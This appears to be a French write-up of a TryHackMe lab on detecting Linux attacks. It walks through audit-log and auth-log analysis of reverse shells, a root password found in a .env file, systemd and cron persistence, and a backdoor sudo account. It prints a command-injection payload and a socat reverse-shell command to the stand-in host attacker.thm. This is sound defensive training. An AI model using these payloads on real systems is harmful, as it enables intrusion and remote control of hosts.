Linux Threat Detection 3

Lien vers l’épreuve : https://tryhackme.com/room/linuxthreatdetection3

Medium

Sommaire

Reverse Shells

Lancer la commande 127.0.0.1 && whoami sur l’application TryPingMe

Quel est la sortie après les résultats du ping ?

Montrer la capture
Résultat de la commande whoami
Résultat de la commande whoami


Il est également possible d’utiliser une commande curl pour obtenir la réponse.

curl -X POST "http://10.130.163.105:8000/" --data-urlencode "target=127.0.0.1 && whoami"
Afficher la réponse
<!doctype html>
<html lang="en">

<head>[...expurgé pour brièveté...]</head>
<body>
    <div class="card">
        <h1>TryPingMe</h1>
        <form method="post">
            <input type="text" name="target" placeholder="Enter hostname or IP" required>
            <button type="submit">Ping</button>
        </form>


        <div>
            <pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
                64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.021 ms
                64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.016 ms
                64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.013 ms
                64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.030 ms

                --- 127.0.0.1 ping statistics ---
                4 packets transmitted, 4 received, 0% packet loss, time 3075ms
                rtt min/avg/max/mdev = 0.013/0.020/0.030/0.006 ms
                [...expurgé...]
            </pre>
        </div>

    </div>
</body>

</html>


Lancer un reverse shell imaginaire vers “attacker.thm”

Montrer la capture
Résultat de la commande socat
Résultat de la commande socat


curl -X POST "http://10.130.163.105:8000/" --data-urlencode "target=127.0.0.1 && socat TCP:attacker.thm:1337 EXEC:sh"
Afficher la réponse
<!doctype html>
<html lang="en">

<head>[...expurgé pour brièveté...]</head>
<body>
    <div class="card">
        <h1>TryPingMe</h1>
        <form method="post">
            <input type="text" name="target" placeholder="Enter hostname or IP" required>
            <button type="submit">Ping</button>
        </form>


        <div>
            <pre>
The command you just ran would establish a socat reverse shell!

If you were an attacker, you would first start a listener:
+--------------------------------------------------+
| kali@attacker.thm:~$ nc -lvnp 1337               |
| Listening on 0.0.0.0 1337...                     |
| [...]                                            |
+--------------------------------------------------+

Then, after you run the socat command, you would see:
+--------------------------------------------------+
| [...]                                            |
| New connection from thm-vm!                      |
| Creating a shell for thm-vm...                   |
| Created a shell on the victim!                   |
| svctrypingme@thm-vm:/opt/trypingme# hostname     |
| thm-vm                                           |
+--------------------------------------------------+

Your flag: THM{[...expurgé...]}
</pre>
        </div>

    </div>
</body>

</html>


Regarder dans les logs /home/ubuntu/scenario

Quelle adresse IP à utiliser un reverse-shell similaire ?

ausearch -i -if audit.log -x socat | grep "PROCTITLE"
Afficher la réponse
type=PROCTITLE msg=audit(09/23/25 14:52:23.512:2126) : proctitle=socat TCP:[...expurgé...]:1337 EXEC:sh,pty,stderr,setsid,sigint,sane 
type=PROCTITLE msg=audit(09/23/25 14:52:23.564:2127) : proctitle=socat TCP:[...expurgé...]:1337 EXEC:sh,pty,stderr,setsid,sigint,sane 
type=PROCTITLE msg=audit(09/23/25 14:52:23.564:2128) : proctitle=socat TCP:[...expurgé...]:1337 EXEC:sh,pty,stderr,setsid,sigint,sane 
type=PROCTITLE msg=audit(09/23/25 14:52:23.565:2129) : proctitle=socat TCP:[...expurgé...]:1337 EXEC:sh,pty,stderr,setsid,sigint,sane


Escalade de privilège

Quelle ligne de commande a été utilisée pour trouver le mot clé “pass” dans les fichiers ?

ausearch -i -if audit.log | grep "PROCTITLE.*pass"
Afficher la réponse
type=PROCTITLE msg=audit(09/23/25 14:53:00.821:2134) : proctitle=find . -name *pass* 
type=PROCTITLE msg=audit(09/23/25 14:53:10.724:2136) : proctitle=grep [...expurgé...]


Quelle ligne de commande a été utilisée pour escalader les privilèges vers root ?

ausearch -i -if audit.log | grep "PROCTITLE.*root"
Afficher la réponse
type=PROCTITLE msg=audit(09/23/25 14:53:49.262:2138) : proctitle=[...expurgé...]


Regarder dans le fichier .env détecté, quel est le mot de passe root ?

ausearch -i -if audit.log | grep "PROCTITLE.*\.env"
Afficher la réponse
type=PROCTITLE msg=audit(09/23/25 14:53:44.238:2137) : proctitle=cat .env.local


Le chemin complet du fichier n’est pas enregistré, la commande find peut permettre de le retrouver.

find / -name .env.local -type f -exec cat {} \; 2>/dev/null
Afficher la réponse
# Run the app from this user
# USER=root
# PASSWORD=[...expurgé...]

# UPD: The file is no longer used, commented it for now


Persistence au démarrage

Quel flag obtient-on en lançant le malware persistant en tant que service ?

ausearch -i -f /etc/systemd | grep "proctitle"
Afficher la réponse
type=PROCTITLE msg=audit(09/23/25 17:06:42.860:834) : proctitle=nano /etc/systemd/system/tux.service 
type=PROCTITLE msg=audit(09/23/25 17:06:54.825:835) : proctitle=nano /etc/systemd/system/tux.service 
type=PROCTITLE msg=audit(09/23/25 17:07:11.421:836) : proctitle=nano /etc/systemd/system/tux.service 
type=PROCTITLE msg=audit(04/09/26 09:09:24.779:212) : proctitle=wget -O /etc/systemd/system/badr.service https://tryhackme-badr-deployment-production-eu-west-3.s3.eu-west-3.amazonaws.com/badr.


Le service tux.service a été modifié plusieurs fois manuellement. Ce comportement suspect pourrait cacher une méthode de persistance pour un logiciel malveillant.

cat /etc/systemd/system/tux.service
Afficher la réponse
[Unit]
Description=Tux Helper Library
Wants=network-online.target
After=network-online.target

[Service]
ExecStart=/var/lib/misc/tux

[Install]
WantedBy=multi-user.target


Le service exécute un fichier dont le chemin est /var/lib/misc/tux.

bash -c /var/lib/misc/tux
Afficher la réponse
=========================================
Good job finding me! Where did I persist
Example: /folder/name.service
=========================================
Your answer: /etc/systemd/system/tux.service
THM{[...expurgé...]}
=========================================
Press Enter to exit...


Quel flag obtient-on en lançant le malware persistant en tant que tâche planifiée ?

ausearch -i -x crontab
Afficher la réponse
----
type=PROCTITLE msg=audit(09/23/25 17:07:38.770:837) : proctitle=crontab -e 
type=PATH msg=audit(09/23/25 17:07:38.770:837) : item=1 name=crontabs/tmp.P5H675 inode=564223 dev=103:01 mode=file,600 ouid=root ogid=crontab rdev=00:00 nametype=CREATE cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0 
type=PATH msg=audit(09/23/25 17:07:38.770:837) : item=0 name=crontabs/ inode=517077 dev=103:01 mode=dir,sticky,730 ouid=root ogid=crontab rdev=00:00 nametype=PARENT cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0 
type=CWD msg=audit(09/23/25 17:07:38.770:837) : cwd=/var/spool/cron 
type=SYSCALL msg=audit(09/23/25 17:07:38.770:837) : arch=x86_64 syscall=openat success=yes exit=5 a0=AT_FDCWD a1=0x5d5f36f771c0 a2=O_RDWR|O_CREAT|O_EXCL a3=0x180 items=2 ppid=1265 pid=1311 auid=ubuntu uid=root gid=root euid=root suid=root fsuid=root egid=crontab sgid=crontab fsgid=crontab tty=pts1 ses=8 comm=crontab exe=/usr/bin/crontab subj=unconfined key=cron


La crontab de la machine a été modifiée le même jour que la création du service malveillant.

crontab -l
Afficher la réponse
[...expurgé pour brièveté...]
@reboot /usr/sbin/phoenix


Une tâche est planifiée après chaque redémarrage de la machine. L’exécutable se trouve au chemin /usr/sbin/phoenix.

Le fichier modifié par la commande crontab -e semble localisé dans le dossier /var/spool/cron référencé par les lettres CWD (Current Working Directory : Dossier de Travail Actuel)

ls -hlR /var/spool/cron
Afficher la réponse
/var/spool/cron/:
total 12
drwxr-xr-x 3 root root    4096 Oct 22  2024 ./
drwxr-xr-x 4 root root    4096 Oct 22  2024 ../
drwx-wx--T 2 root crontab 4096 Sep 23  2025 crontabs/

/var/spool/cron/crontabs:
total 12
drwx-wx--T 2 root crontab 4096 Sep 23  2025 ./
drwxr-xr-x 3 root root    4096 Oct 22  2024 ../
-rw------- 1 root crontab 1015 Sep 23  2025 root


Il y a un seul et unique fichier “root”.

cat /var/spool/cron/crontabs/root
Afficher la réponse
[...expurgé pour brièveté...]
@reboot /usr/sbin/phoenix


Ces informations correspondent bien à ce qui a été trouvé avec la commande crontab -l.

bash -c /usr/sbin/phoenix
Afficher la réponse
=========================================
Good job finding me! Where did I persist
Example: /folder/cronfile
=========================================
Your answer: /var/spool/cron/crontabs/root
THM{[...expurgé...]}
=========================================
Press Enter to exit...


Compte de persistance

Quel utilisateur a été créé et ajouté au groupe sudo ?

grep -E "useradd|usermod" /var/log/auth.log
Afficher la réponse
2025-09-23T17:08:57.066900+00:00 thm-vm useradd[1323]: new group: name=[...expurgé...], GID=1002
2025-09-23T17:08:57.070626+00:00 thm-vm useradd[1323]: new user: name=[...expurgé...], UID=1002, GID=1002, home=/home/[...expurgé...], shell=/bin/bash, from=/dev/pts/1
2025-09-23T17:09:46.339328+00:00 thm-vm usermod[1331]: add '[...expurgé...]' to group 'sudo'
2025-09-23T17:09:46.339656+00:00 thm-vm usermod[1331]: add '[...expurgé...]' to shadow group 'sudo'


Quel fichier a été modifié pour autorisé une persistance par clé SSH ?

Le fichier autorisant les utilisateurs connus à se connecter avec une clé SSH est authorized_keys

ausearch -i -f authorized_keys
Afficher la réponse
----
type=PROCTITLE msg=audit(09/23/25 17:08:26.870:838) : proctitle=bash
type=PATH msg=audit(09/23/25 17:08:26.870:838) : item=0 name=/[...expurgé...]/authorized_keys inode=256095 dev=103:01 mode=file,600 ouid=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(09/23/25 17:08:26.870:838) : cwd=/root
type=SYSCALL msg=audit(09/23/25 17:08:26.870:838) : arch=x86_64 syscall=openat success=yes exit=3 a0=AT_FDCWD a1=0x5a843f9e03d0 a2=O_WRONLY|O_CREAT|O_APPEND a3=0x1b6 items=1 ppid=1264 pid=1265 auid=ubuntu uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=pts1 ses=8 comm=bash exe=/usr/bin/bash subj=unconfined key=ssh
[...expurgé pour brièveté...]


Un processus bash semble avoir fait appel à un fichier authorized_keys, mais il n’est pas possible de récupéré les détails du processus dont le PID est 1264.